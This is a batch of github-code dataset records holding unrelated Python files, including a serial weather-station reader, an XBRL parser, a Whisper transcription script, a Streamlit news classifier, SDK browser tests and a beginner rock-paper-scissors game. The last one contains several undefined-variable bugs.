== args:\n current_app.logger.info(\n f\"found a task with same context (name={task_name}, args={args})!\"\n )\n return task[\"id\"]\n\n return None\n","repo_name":"bagage/batimap","sub_path":"back/batimap/tasks/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1357,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"2"} +{"seq_id":"14270149009","text":"import serial\nfrom serial import Serial\nimport time\nfrom datetime import datetime\nimport WriteCSV\n\nser = serial.Serial('com3',9600,timeout=1)\n\nwriteData = WriteCSV.WriteCSVforData()\n\nclass send_s():\n def __init__(self):\n self.Pressure = 0\n self.Temperature = 0\n self.Humidity = 0\n self.Date = ''\n self.Time = ''\n self.DateforPlot = ''\n def send_s_to_uno(self):\n ser.write('s'.encode())\n writeData.Pressure = ser.readline().decode()\n self.Pressure = writeData.Pressure[0:len(writeData.Pressure)-2]\n self.Pressure = float(writeData.Pressure)\n writeData.Pressure = self.Pressure\n writeData.Temperature = ser.readline().decode()\n writeData.Temperature = writeData.Temperature[0:len(writeData.Temperature)-2]\n self.Temperature = float(writeData.Temperature)\n writeData.Temperature = self.Temperature\n writeData.Humidity = ser.readline().decode()\n writeData.Humidity = writeData.Humidity[0:len(writeData.Humidity)-2]\n self.Humidity = float(writeData.Humidity)\n writeData.Humidity = self.Humidity\n self.Date = time.strftime(\"%d\"+\",\"+\"%b\"+\",\"+\"%Y\")\n writeData.Date = self.Date\n self.Time = time.strftime(\"%H\"+\".\"+\"%M\"+\".\"+\"%S\")\n writeData.Time = self.Time\n writeData.DateforPlot = time.strftime(\"%d\"+\",\"+\"%m\"+\",\"+\"%Y\")\n writeData.WriteinCSVData()\n\n def send_t_to_uno(self):\n ser.write('t'.encode())\n self.PS1 = ser.readline().decode()\n self.PS1 = self.PS1[0:len(self.PS1)-2]\n self.Temp1 = ser.readline().decode()\n self.Temp1 = self.Temp1[0:len(self.Temp1)-2]\n self.Humid1 = ser.readline().decode()\n self.Humid1 = self.Humid1[0:len(self.Humid1)-2]","repo_name":"oatanurakch/WeatherStation","sub_path":"Send_s_t.py","file_name":"Send_s_t.py","file_ext":"py","file_size_in_byte":1771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"13198453096","text":"from xbrl import XBRLParser\nimport requests\nimport re\nimport io\n\nMEGADIC = {\n 'Fiscal Year End Date': 'dei:CurrentFiscalYearEndDate',\n 'Fiscal Period Focus': 'dei:DocumentFiscalPeriodFocus',\n 'Fiscal Year Focus': 'dei:DocumentFiscalYearFocus',\n 'Type': 'dei:DocumentType',\n 'Balance Sheet > Cash and Cash equivalents': 'us-gaap:CashAndCashEquivalentsAtCarryingValue',\n # 'Balance Sheet > Short Term Investments': 'us-gaap:AvailableForSaleSecuritiesCurrent',\n # 'Balance Sheet > Net Receivables': 'us-gaap:AccountsReceivableNetCurrent',\n # 'Balance Sheet > Inventory': 'us-gaap:InventoryFinishedGoodsNetOfReserves',\n # 'Balance Sheet > Other Current Assets': 'us-gaap:OtherAssetsCurrent',\n # 'Balance Sheet > Total Current Assets': 'us-gaap:AssetsCurrent',\n}\n\nclass MyXBRL():\n def __init__(self, url):\n self.page = self.get_page(url)\n self.context = None\n\n def get_page(self, url):\n page = requests.get(url)\n xbrl_parser = XBRLParser()\n # print(dir(xbrl_parser))\n b = io.StringIO(page.text)\n obj = xbrl_parser.parse(b)\n # print(obj)\n return obj\n\n def get_context(self):\n item = self.dothis('dei:CurrentFiscalYearEndDate')\n # print(\"22: \",item)\n return item['contextref']\n\n def dothis(self, tag):\n obj = self.page.find_all(name=re.compile(tag, re.IGNORECASE))\n # print(\"40: \", len(obj))\n # print(obj)\n if len(obj) == 0:\n return None\n elif len(obj) == 1:\n # return obj[0]['contextref']\n return obj[0]\n else:\n context = self.get_context()\n # print(\"49: \", context[-10:])\n for aobj in obj:\n # print(aobj['contextref'])\n print(aobj)\n # if aobj['contextref'][-10:] == context[-10:]:\n # return aobj\n return None\n\n def check_if_none(self, val):\n # print(\"44: \", val)\n if val:\n return val.string\n else:\n return val\n\n def get_numbers(self):\n adic = {}\n for key, value in MEGADIC.items():\n output = self.dothis(value)\n adic[key] = self.check_if_none(output)\n return adic\n\n def inventoryNet(self):\n val = self.dothis('us-gaap:InventoryFinishedGoodsNetOfReserves')\n return self.check_if_none(val)\n\n def extract(self):\n alist = {\n 'Income Statement > Total Revenue': 'us-gaap:SalesRevenueNet',\n # 'Income Statement > Cost of Revenue': 'us-gaap:CostOfGoodsAndServicesSold',\n\n 'Balance Sheet > Long Term Investments': 'us-gaap:AvailableForSaleSecuritiesNoncurrent',\n 'Balance Sheet > Property Plant and Equipment': 'us-gaap:PropertyPlantAndEquipmentNet',\n 'Balance Sheet > Goodwill': 'us-gaap:Goodwill',\n # 'Balance Sheet > Accumulated Amortization'\n 'Balance Sheet > Intangible Assets': 'us-gaap:IntangibleAssetsNetExcludingGoodwill',\n 'Balance Sheet > Other Assets': 'us-gaap:OtherAssetsNoncurrent',\n 'Balance Sheet > Total Assets': 'us-gaap:Assets',\n # 'Balance Sheet > Accounts Payable'\n # 'Balance Sheet > Short/Current Long Term Debt'\n 'Balance Sheet > Other Current Liabilities': 'us-gaap:DeferredRevenueCurrent',\n 'Balance Sheet > Total Current Liabilities': 'us-gaap:LiabilitiesCurrent',\n 'Balance Sheet > Long Term Debt': 'us-gaap:LongTermDebtNoncurrent',\n 'Balance Sheet > Other Liabilities': 'us-gaap:OtherLiabilitiesNoncurrent',\n 'Balance Sheet > Deferred Long Term Liability Charges': 'us-gaap:DeferredRevenueNoncurrent',\n # 'Balance Sheet > Minority Interest'\n # 'Balance Sheet > Negative Goodwill'\n 'Balance Sheet > Total Liabilities': 'us-gaap:Liabilities',\n # 'Balance Sheet > Misc. Stocks Options Warrants'\n # 'Balance Sheet > Redeemable Preferred Stock'\n # 'Balance Sheet > Preferred Stock'\n 'Balance Sheet > Common Stock': 'us-gaap:CommonStocksIncludingAdditionalPaidInCapital',\n 'Balance Sheet > Retained Earnings': 'us-gaap:RetainedEarningsAccumulatedDeficit',\n # 'Balance Sheet > Treasury Stock'\n # 'Balance Sheet > Capital Surplus'\n # 'Balance Sheet > Other Stockholder Equity': 'us-gaap:StockholdersEquity', ## ERROR\n 'Balance Sheet > Total Stockholder Equity': 'us-gaap:StockholdersEquity',\n\n # 'Cash Flow > Net income',\n # 'Cash Flow > Depreciation',\n\n\n # 'Total current assets': 'us-gaap:assetscurrent',\n # 'Total assets': 'us-gaap:Assets',\n # 'Total current liabilities': 'us-gaap:LiabilitiesCurrent',\n # 'Net Income': 'us-gaap:NetIncomeLoss',\n # 'Cash and cash equivalents': 'us-gaap:CashAndCashEquivalentsAtCarryingValue',\n # 'Cash and cash equivalents': 'us-gaap:CashAndCashEquivalentsAtCarryingValue'\n }\n # 'SalesRevenueNet',\n # 'CostOfGoodsAndServicesSold',\n # 'GrossProfit',\n # 'ResearchAndDevelopmentExpense',\n # 'SellingGeneralAndAdministrativeExpense',\n # 'OperatingExpenses'\n # ]\n adic = {}\n for tag in alist:\n adic[tag] = dothis(xbrl, alist[tag], goodtags)\n return adic\n\n# def gettags(xbrl):\n# obj = xbrl.find_all(name=re.compile(\"xbrli:context\", re.IGNORECASE))\n# # print(len(obj))\n# alist = []\n# for a in obj:\n# # print(a['id'])\n# # aobj = a.find_all(name=re.compile('xbrldi:explicitMember', re.IGNORECASE))\n# aobj = a.find_all(name=re.compile('xbrli:segment', re.IGNORECASE))\n# if len(aobj) > 0:\n# pass\n# else:\n# # print(a['id'])\n# alist.append(a['id'])\n# # print(len(aobj))\n# # if aobj:\n# # return\n# # aobj = a.find_all(name=re.compile('xbrli:startDate', re.IGNORECASE))\n# # print(a)\n# # print('-'*100)\n# # print('*'*100)\n# # print(alist)\n# return alist\n#\n# def allfiles():\n# files = ['idt-20180131.xml']\n# # 'aapl-20171230.xml', 'idt-20180131.xml', 'azo-20180210.xml']\n# for filename in files:\n# fh = open(filename, \"r\")\n#\n# xbrl_parser = XBRLParser()\n# xbrl = xbrl_parser.parse(fh)\n# goodtags = gettags(xbrl)\n# pprint.pprint(extract(xbrl, goodtags))\n# print('*'*100)\n# fh.close()\n\n# extract()\n# allfiles()\n\n####\n# Q2\n# 2018\n# 10-Q\n\nif __name__ == '__main__':\n pass\n","repo_name":"kashmatic/stockmarket","sub_path":"stockprice/lib/myxbrl.py","file_name":"myxbrl.py","file_ext":"py","file_size_in_byte":7170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"15157652727","text":"import os\nfrom typing import List\nfrom image import Image\n\n\ndef get_images(dir) -> List[Image]:\n with open(dir, 'r') as txt_file:\n bboxes_count = -1\n image_read = False\n bboxes = []\n images = []\n bboxes_exist = False\n for line in txt_file.readlines():\n if line.rstrip().endswith('.jpg'):\n img_path = os.path.join('dataset/frames', line.rstrip())\n bboxes_count = -1\n image_read = True\n elif len(line.strip()) == 1:\n if line.strip() != 0:\n\n bboxes_count = int(line)\n else:\n bboxes_count -= 1\n bbox = []\n for coord in line.split():\n bbox.append(int(float(coord)))\n\n bboxes.append(bbox)\n\n if bboxes_count == 0 and image_read == True:\n images.append(Image(img_path, bboxes))\n bboxes = []\n\n return images\n","repo_name":"KonradBorowik/SIWR_projekt","sub_path":"visualizer.py","file_name":"visualizer.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"71534585968","text":"# grupos\r\n#Variables\r\njugador=[\"pc\", \"participante\", \"empate\"]\r\nfunciones=[\"piedra\",\"papel\",\"tijera\"]\r\npiedra=funciones[0];\r\npapel=funciones[1];\r\ntijera=funciones[2];\r\ntiros=0;\r\njugadas=[0,0,0];\r\nhistoriadeljuego=[];\r\nganador=\"\";\r\nmostrarfunciones=[0,1,2]\r\nopcionparticipante=\"\";\r\nimport random;\r\n\r\njugador[1]=input(\"Ingresar nombre del jugador: \");\r\nprint(\"bienvenido al juego:\"+'participante');\r\nprint(\"elije una funcion: \",\"\",\"1) piedra\", \"2) papel\", \"3)tijera\", \"\",sep=\"\\n\");\r\n\r\nwhile True:\r\n if (tiros < 3 and jugadas[0] !=2 and jugadas[1]!=2):\r\n opcionparticipante = (int(input(\"Selecciona una opcion: \")));\r\n opcionpc=(random.randrange(0,3));\r\n\r\n #gana pc\r\n if ((opcionparticipante == piedra and opcionpc == papel) or\r\n (opcionparticipante == papel and opcionpc == tijera) or\r\n (opcionparticipante == tijera and opcionpc == piedra)):\r\n jugada[0]=jugada[0]+1;\r\n ganador=jugador[0];\r\n\r\n #gana participante\r\n elif ((opcionparticipante == papel and opcionpc == piedra) or\r\n (opcionparticipante == tijera and opcionpc == papel) or\r\n (opcionparticipante == piedra and opcionpc == tijera)):\r\n jugada[1]=jugada[1]+1;\r\n ganador=jugador[1];\r\n\r\n #empate\r\n elif ((opcionparticipante == piedra and opcionpc == piedra) or\r\n (opcionparticipante == papel and opcionpc == papel) or\r\n (opcionparticipante == tijera and opcionpc == tijera)):\r\n jugada[2]=jugada[2]+1;\r\n ganador=jugador[2];\r\n tiros=tiros+1;\r\n\r\n print(\"----------------------\")\r\n print(\"pc-\"+ jugador[1]);\r\n print(opcionpc, opcionparticipante);\r\n print(\"ganador:\"+ganador);\r\n print(\"jugadas:\",juego);\r\n print(\"---------------------\\n\")\r\n else:\r\n if(juegadas[0]>jugadas[1]):\r\n ganador=participante[0];\r\n else:\r\n ganador=participante[1];\r\n historiadeljuego.append([jugadas[0], jugadas[1], jugadas[2],ganador]);\r\n\r\n sino=input(\"Desea continuar? Si/No\")\r\n if sino.upper()!=\"Si\":\r\n break\r\n else:\r\n tiros=0\r\n jugadas=[0,0,0];\r\n\r\nprint(\"El resultado del juego es: \");\r\nprint(historiadeljuego);","repo_name":"Jlom-Chess/juegos_matematicos","sub_path":"grupos.py","file_name":"grupos.py","file_ext":"py","file_size_in_byte":2287,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"13558170745","text":"import json\nimport os\nimport time\nimport unittest\nfrom unittest.mock import Mock\n\nimport carbonate_sdk as carbonate\nfrom test.end2end.webdriver.webdriver_test import WebDriverTest\nfrom unittest_data_provider import data_provider # type: ignore\n\nclass test_input(WebDriverTest):\n def setUp(self):\n self.api = Mock()\n self.carbonate_sdk = carbonate.SDK(\n browser=self.browser,\n client=self.api,\n )\n\n inputAndDateDataProvider = lambda: (\n ['color', '//input[@id=\"color\"]', '#ff0000'],\n ['email', '//input[@id=\"email\"]', 'test@example.org'],\n ['number', '//input[@id=\"number\"]', '12'],\n ['password', '//input[@id=\"password\"]', 'teststr'],\n ['range', '//input[@id=\"range\"]', '50'],\n ['search', '//input[@id=\"search\"]', 'teststr'],\n ['tel', '//input[@id=\"tel\"]', '01234567890'],\n ['text', '//input[@id=\"text\"]', 'teststr'],\n ['url', '//input[@id=\"url\"]', 'http://example.org'],\n ['textarea', '//textarea[@id=\"textarea\"]', \"This\\nis\\na\\ntest\"],\n ['date', '//input[@id=\"date\"]', '2022-01-01'],\n ['datetime-local', '//input[@id=\"datetime-local\"]', '2022-01-01T00:00'],\n ['month', '//input[@id=\"month\"]', '2022-01'],\n ['time', '//input[@id=\"time\"]', '00:00:00'],\n ['week', '//input[@id=\"week\"]', '2022-W01'],\n )\n\n checkDataProvider = lambda: (\n ['radio', '//input[@id=\"radio\"]', '1'],\n ['checkbox', '//input[@id=\"checkbox\"]', '1'],\n )\n\n @data_provider(inputAndDateDataProvider)\n @carbonate.test()\n def test_it_should_fill_in_the_input(self, name, xpath, value):\n self.api.reset_mock()\n\n self.api.extract_actions.return_value = [{'action': 'type', 'xpath': xpath, 'text': value}]\n self.api.extract_assertions.return_value = [{'assertion': f\"carbonate_assert(document.querySelector('#{name}').value == {json.dumps(value)});\"}]\n\n self.carbonate_sdk.load(f'file:///{os.path.abspath(os.path.join(\".\", \"test\", \"fixtures\", \"input.html\"))}')\n self.carbonate_sdk.action(f'type \"f{value}\" into the f{name} input')\n\n self.assertTrue(self.carbonate_sdk.assertion(f'the {name} input should have the contents \"{value}\"'))\n\n self.assertTrue(self.carbonate_sdk.get_browser().evaluate_script(f\"return window.hasChanged['{name}']\"))\n\n self.api.extract_actions.assert_called_once()\n self.api.extract_assertions.assert_called_once()\n\n @data_provider(checkDataProvider)\n @carbonate.test()\n def test_it_should_click_the_element(self, name, xpath, value):\n self.api.reset_mock()\n\n self.api.extract_actions.return_value = [{'action': 'click', 'xpath': xpath}]\n self.api.extract_assertions.return_value = [{'assertion': f\"carbonate_assert(document.querySelector('#{name}').value == {json.dumps(value)});\"}]\n\n self.carbonate_sdk.load(f'file:///{os.path.abspath(os.path.join(\".\", \"test\", \"fixtures\", \"input.html\"))}')\n self.carbonate_sdk.action(f'click the f{name} element')\n\n self.assertTrue(self.carbonate_sdk.assertion(f'the {name} element should have the value \"{value}\"'))\n\n self.assertTrue(self.carbonate_sdk.get_browser().evaluate_script(f\"return window.hasChanged['{name}']\"))\n\n self.api.extract_actions.assert_called_once()\n self.api.extract_assertions.assert_called_once()\n\n @carbonate.test()\n def test_it_should_fill_in_an_input_when_given_a_label(self):\n self.api.extract_actions.return_value = [{'action': 'type', 'xpath': '//label[@for=\"input\"]', 'text': 'teststr'}]\n self.api.extract_assertions.return_value = [{'assertion': \"carbonate_assert(document.querySelector('input').value == 'teststr');\"}]\n\n self.carbonate_sdk.load(f'file:///{os.path.abspath(os.path.join(\".\", \"test\", \"fixtures\", \"label.html\"))}')\n self.carbonate_sdk.action('type \"teststr\" into the input')\n\n self.assertTrue(self.carbonate_sdk.assertion('the input should have the contents \"teststr\"'))\n\n self.api.extract_actions.assert_called_once()\n self.api.extract_assertions.assert_called_once()\n\nif __name__ == \"__main__\":\n unittest.main()","repo_name":"Carbonate-dev/sdk-python","sub_path":"test/end2end/webdriver/test_input.py","file_name":"test_input.py","file_ext":"py","file_size_in_byte":4164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"72576539565","text":"import whisper\nimport torch\nimport os\nimport sys\nfrom datetime import timedelta\n\n\n# Check if NVIDIA GPU is available\ntorch.cuda.is_available()\nDEVICE = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n\nlevel = \"base\"\nif len(sys.argv) == 2:\n level = sys.argv[1]\nprint(\"Using model level:\", level)\n\n# Load the Whisper model:\nmodel = whisper.load_model(level, device=DEVICE)\n\ndef transcribe_to_srt(filename):\n # Let's get the transcript of the temporary file.\n if DEVICE == \"cpu\":\n transcribe = model.transcribe(filename, fp16=False)\n else:\n transcribe = model.transcribe(filename)\n\n results = []\n segments = transcribe['segments']\n for segment in segments:\n startTime = str(0)+str(timedelta(seconds=int(segment['start'])))+',000'\n endTime = str(0)+str(timedelta(seconds=int(segment['end'])))+',000'\n text = segment['text']\n segmentId = segment['id']+1\n segment = f\"{segmentId}\\n{startTime} --> {endTime}\\n{text[1:] if text[0] is ' ' else text}\\n\\n\"\n results.append(segment)\n \n return results\n\n\n\n# set directory containing audios\ndirectory = './'\n\n# create output directory for transcription files\noutput_dir = os.path.join(directory, './')\nif not os.path.exists(output_dir):\n os.makedirs(output_dir)\n\n\n# loop through all mp3 files in directory\nfor filename in os.listdir(directory):\n if filename.endswith('.mp3'):\n # open mp3 file\n mp3_file = open(os.path.join(directory, filename), 'rb')\n\n print(\"Start to transcribe\", filename)\n text = transcribe_to_srt(filename)\n\n # create output text file\n text_file = open(os.path.join(output_dir, filename.replace('.mp3', '.srt')), 'w')\n \n text_file.writelines(text)\n\n # close files\n mp3_file.close()\n text_file.close()\n\n\n\n","repo_name":"branwn/format-master","sub_path":"MP3-to-SRT.py","file_name":"MP3-to-SRT.py","file_ext":"py","file_size_in_byte":1829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"72876481326","text":"import streamlit as st\nimport pandas as pd\nimport joblib,os\nimport seaborn as sns\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.svm import SVC\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import precision_recall_fscore_support as score, mean_squared_error\nfrom sklearn.metrics import confusion_matrix,accuracy_score\nfrom nltk.tokenize import word_tokenize\nfrom gensim.models.doc2vec import TaggedDocument\nimport nltk \nfrom nltk.corpus import stopwords\nfrom sklearn import preprocessing \nfrom sklearn.feature_extraction.text import TfidfVectorizer\nimport matplotlib.pyplot as plt\nimport re\nimport warnings\nimport pickle\nimport webbrowser\nfrom wordcloud import WordCloud\nwarnings.filterwarnings(\"ignore\")\n# Vectorizer\nnews_vectorizer = open(\"models\\\\Vectorizer\", \"rb\")\nnews_cv = joblib.load(news_vectorizer)\n\n#Loading Model\ndef load_prediction_model(model):\n loaded_model = joblib.load(open(os.path.join(model), \"rb\"))\n return loaded_model\n\n# Get Category from Numeric Value\ndef get_category(val, dict):\n for key, value in dict.items():\n if val == value:\n return key\n\ndef add_parameter_ui(clf_name):\n params={}\n st.sidebar.write(\"Select values: \")\n\n if clf_name == \"Logistic Regression\":\n R = st.sidebar.slider(\"Regularization\",0.1,10.0,step=0.1)\n MI = st.sidebar.slider(\"max_iter\",50,400,step=50)\n params[\"R\"] = R\n params[\"MI\"] = MI\n\n elif clf_name == \"KNN\":\n K = st.sidebar.slider(\"n_neighbors\",1,20)\n params[\"K\"] = K\n\n elif clf_name == \"SVM\":\n C = st.sidebar.slider(\"Regularization\",0.01,10.0,step=0.01)\n kernel = st.sidebar.selectbox(\"Kernel\",(\"linear\", \"poly\", \"rbf\", \"sigmoid\", \"precomputed\"))\n params[\"C\"] = C\n params[\"kernel\"] = kernel\n\n elif clf_name == \"Decision Tree\":\n M = st.sidebar.slider(\"max_depth\", 2, 20)\n C = st.sidebar.selectbox(\"Criterion\", (\"gini\", \"entropy\"))\n SS = st.sidebar.slider(\"min_samples_split\",1,10)\n params[\"M\"] = M\n params[\"C\"] = C\n params[\"SS\"] = SS\n\n return params\n\n\ndef get_classifier(clf_name,params):\n global clf\n if clf_name == \"Logistic Regression\":\n clf = LogisticRegression(C=params[\"R\"],max_iter=params[\"MI\"])\n\n elif clf_name == \"KNN\":\n clf = KNeighborsClassifier(n_neighbors=params[\"K\"])\n\n elif clf_name == \"SVM\":\n clf = SVC(kernel=params[\"kernel\"],C=params[\"C\"])\n\n elif clf_name == \"Decision Tree\":\n clf = DecisionTreeClassifier(max_depth=params[\"M\"],criterion=params[\"C\"])\n\n elif clf_name == \"Naive Bayes\":\n clf = MultinomialNB()\n\n return clf\ndef process_text(text):\n text = text.lower().replace('\\n',' ').replace('\\r','').strip()\n text = re.sub(' +', ' ', text)\n text = re.sub(r'[^\\w\\s]','',text)\n \n \n stop_words = set(stopwords.words('english')) \n word_tokens = word_tokenize(text) \n filtered_sentence = [w for w in word_tokens if not w in stop_words] \n filtered_sentence = [] \n for w in word_tokens: \n if w not in stop_words: \n filtered_sentence.append(w) \n \n text = \" \".join(filtered_sentence)\n return text\n\ndef get_dataset():\n data = pd.read_csv(\"data\\BBC News Train.csv\")\n data['News_length'] = data['Text'].str.len()\n data['Text_parsed'] = data['Text'].apply(process_text)\n label_encoder = preprocessing.LabelEncoder() \n data['Category_target']= label_encoder.fit_transform(data['Category']) \n return data\n\n\n#Plot Output\ndef compute(Y_pred,Y_test):\n # c1, c2 = st.beta_columns((4,3))\n #Confusion Matrix\n st.set_option('deprecation.showPyplotGlobalUse', False)\n cm=confusion_matrix(Y_test,Y_pred)\n class_label = [\"business\", \"tech\", \"politics\", \"sport\",\"entertainment\"]\n df_cm = pd.DataFrame(cm, index=class_label,columns=class_label)\n plt.figure(figsize=(12, 7.5))\n sns.heatmap(df_cm,annot=True,cmap='Pastel1',linewidths=2,fmt='d')\n plt.title(\"Confusion Matrix\",fontsize=15)\n plt.xlabel(\"Predicted\")\n plt.ylabel(\"True\")\n st.pyplot()\n #Calculate Metrics\n acc=accuracy_score(Y_test,Y_pred)\n mse=mean_squared_error(Y_test,Y_pred)\n precision, recall, fscore, train_support = score(Y_test, Y_pred, pos_label=1)\n st.subheader(\"Metrics of the model: \")\n st.text('Precision: {} \\nRecall: {} \\nF1-Score: {} \\nAccuracy: {} %\\nMean Squared Error: {}'.format(\n precision,recall,fscore,acc*100, mse))\n\n\n\n#Build Model\ndef model(clf):\n X_train,X_test,Y_train,Y_test=train_test_split(data['Text_parsed'], \n data['Category_target'],test_size=0.2,random_state=65)\n ngram_range = (1,2)\n min_df = 10\n max_df = 1.\n max_features = 300\n tfidf = TfidfVectorizer(encoding='utf-8',\n ngram_range=ngram_range,\n stop_words=None,\n lowercase=False,\n max_df=max_df,\n min_df=min_df,\n max_features=max_features,\n norm='l2',\n sublinear_tf=True)\n \n features_train = tfidf.fit_transform(X_train).toarray()\n labels_train = Y_train\n \n\n features_test = tfidf.transform(X_test).toarray()\n labels_test = Y_test\n \n\n clf.fit(features_train, labels_train)\n Y_pred = clf.predict(features_test)\n acc=accuracy_score(labels_test,Y_pred)\n return clf, Y_test, Y_pred\n\n#tokenize for nlp\ndef tokenize_text(text):\n tokens = []\n for sent in nltk.sent_tokenize(text):\n for word in nltk.word_tokenize(sent):\n if len(word) < 2:\n continue\n tokens.append(word.lower())\n return tokens\n\ndef vec_for_learning(model_dbow, tagged_docs):\n sents = tagged_docs.values\n targets, regressors = zip(*[(doc.tags[0], model_dbow.infer_vector(doc.words, steps=20)) for doc in sents])\n return targets, regressors\n\ndata = get_dataset()\nX = data['Text_parsed']\nY = data['Category_target']\n\ndef main():\n activities = [\"About\",\"Data\", \"Prediction\",\"NLP\"]\n choice = st.sidebar.selectbox(\"Choose Activity\", activities)\n if choice==\"Data\":\n st.title('Data')\n st.write(\"The following is the DataFrame of the `BBC News` dataset.\")\n data = pd.read_csv(\"data\\BBC News Train.csv\")\n st.write(data)\n if choice==\"About\":\n with st.container():\n st.title(\"Welcome to News Classification ML App:wave:\")\n st.markdown(\"![Web Application](https://i.gifer.com/991p.gif)\")\n st.markdown(\"\"\" \n\t\t\t#### Built with Streamlit\n\t\t\t## By\n\t\t\t+ Devashree Pravakar\n\t\t\t\"\"\")\n st.markdown(\"\"\"+ Arindam Rao\"\"\")\n st.markdown(\"\"\"+ Kintali Pardha Saradhi\"\"\")\n url = 'https://github.com/devashree1923/News-Classification'\n if st.button('Github'):\n webbrowser.open_new_tab(url)\n\n if choice==\"Prediction\":\n \n st.info(\"Prediction with ML\")\n news_text = st.text_area(\"Enter Text\", \"Type Here\")\n all_ml_models = [\"Logistic Regression\", \"Naive Bayes\", \"Decision Tree\", \"SVM\", \"KNN\"]\n model_choice = st.selectbox(\"Choose ML Model\", all_ml_models)\n prediction_labels = {'business':0, 'tech':1, 'politics':2, 'sport':3, 'entertainment':4}\n params = add_parameter_ui(model_choice)\n \n if st.button(\"Classify\"):\n st.text(\"Original text ::\\n{}\".format(news_text))\n news_text = process_text(news_text)\n vect_text = news_cv.transform([news_text]).toarray()\n clf = get_classifier(model_choice,params)\n predictor, Y_pred,Y_test = model(clf)\n prediction = predictor.predict(vect_text)\n result = get_category(prediction, prediction_labels)\n st.success(result)\n st.markdown(\"
    \",unsafe_allow_html=True)\n st.subheader(f\"Classifier Used: {model_choice}\")\n compute(Y_pred,Y_test)\n # if st.checkbox(\"WordCloud\"):\n st.subheader(\"WordCloud: \")\n c_text = news_text\n wordcloud = WordCloud().generate(c_text)\n plt.imshow(wordcloud, interpolation='bilinear')\n plt.axis(\"off\")\n plt.show()\n st.pyplot()\n if choice==\"NLP\":\n st.info(\"Natural Language Processing\")\n news_text = st.text_area(\"Enter Text\", \"Type Here\")\n c_text = news_text\n df = pd.read_csv(\"data/BBC_News_Train_Processed.csv\")\n if st.button(\"Classify\"):\n prediction_labels = {0:'business', 1:'entertainment', 2:'politics', 3:'sport', 4:'tech'}\n news_text = process_text(news_text)\n news_text = pd.DataFrame({'Text':[news_text]})\n train, test = train_test_split(df, test_size = 0.2, random_state=42)\n news_text = news_text.apply(lambda r: TaggedDocument(words=tokenize_text(r['Text']), tags=[0]), axis=1)\n test_tagged = test.apply(lambda r: TaggedDocument(words=tokenize_text(r['Text']), tags=[r.Category]), axis=1)\n model_dbow = pickle.load(open('models\\\\nlp_model_dbow.sav', 'rb'))\n model_logistic = pickle.load(open('models\\\\nlp_model.sav', 'rb'))\n Y_text, X_text = vec_for_learning(model_dbow, news_text)\n Y_test, X_test = vec_for_learning(model_dbow, test_tagged)\n Y_pred = model_logistic.predict(X_test)\n Y_text = model_logistic.predict(X_text) \n result = prediction_labels[Y_text[0]]\n st.success(result)\n st.markdown(\"
    \",unsafe_allow_html=True)\n st.subheader(\"Classifier Used: NLP with logistic regression\")\n compute(Y_pred, Y_test)\n st.subheader(\"WordCloud: \")\n \n wordcloud = WordCloud().generate(c_text)\n plt.imshow(wordcloud, interpolation='bilinear')\n plt.axis(\"off\")\n plt.show()\n st.pyplot()\n\n \nif __name__ == '__main__':\n main()","repo_name":"devashree1923/News-Classification","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":10148,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"2"} +{"seq_id":"11022189207","text":"from socket import setdefaulttimeout, getfqdn, gethostname, gethostbyaddr\nfrom time import time\nfrom re import compile as re_compile\nfrom logging import getLogger\n\nfrom canopsis.old.storage import get_storage\nfrom canopsis.old.account import Account\n\n\nclass Event(object):\n \"\"\"\n Manage event content\n\n An event contains information and require a type and source_type.\n \"\"\"\n\n SOURCE_TYPE = 'source_type'\n SOURCE = 'source'\n EVENT_TYPE = 'event_type'\n DATA = 'data'\n META = 'meta'\n RESOURCE = 'resource'\n COMPONENT = 'component'\n CONNECTOR = 'connector'\n CONNECTOR_NAME = 'connector_name'\n ENTITY = 'entity' #: entity id item name\n\n __slots__ = (EVENT_TYPE, SOURCE, DATA, META)\n\n def __init__(self, source, data, meta, _type=None):\n\n super(Event, self).__init__()\n\n self.type = type(self).__name__.lower() if _type is None else _type\n self.source = source\n self.data = data\n self.meta = meta\n\n @classmethod\n def new_event(event_class, **old_event):\n \"\"\"\n Create an Event from an old event (ficus and older version).\n \"\"\"\n\n _type = event_class.__name__.lower()\n _type = old_event.pop(Event.EVENT_TYPE, _type)\n source = old_event.pop(Event.SOURCE)\n data = old_event.pop(Event.DATA, None)\n meta = old_event.pop(Event.META, None)\n\n result = Event(\n _type=_type,\n source=source,\n data=data,\n meta=meta)\n\n return result\n\n @classmethod\n def get_type(cls):\n \"\"\"\n Get unique event type name\n \"\"\"\n\n result = cls.__name__.lower()\n\n return result\n\n\n# Change default timeout from 1 to 3 , conflict with gunicorn\nsetdefaulttimeout(3)\n\nregexp_ip = re_compile(\n \"([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\")\n\ndns_cache = {}\ncache_time = 60 * 30 # 30min\n\nlogger = getLogger('event')\n\n\ndef forger(\n event_type,\n entity=None,\n connector=Event.CONNECTOR,\n connector_name=Event.CONNECTOR_NAME,\n source_type='component',\n component=None,\n resource=None,\n timestamp=None,\n state=0,\n state_type=1,\n output=None,\n long_output=None,\n perf_data=None,\n perf_data_array=None,\n address=None,\n domain=None,\n reverse_lookup=True,\n display_name=None,\n tags=[],\n ticket=None,\n ref_rk=None,\n component_problem=False,\n author=None,\n perimeter=None,\n keep_state=None,\n **kwargs\n):\n \"\"\"\n Build an event from scratch.\n \"\"\"\n\n if not 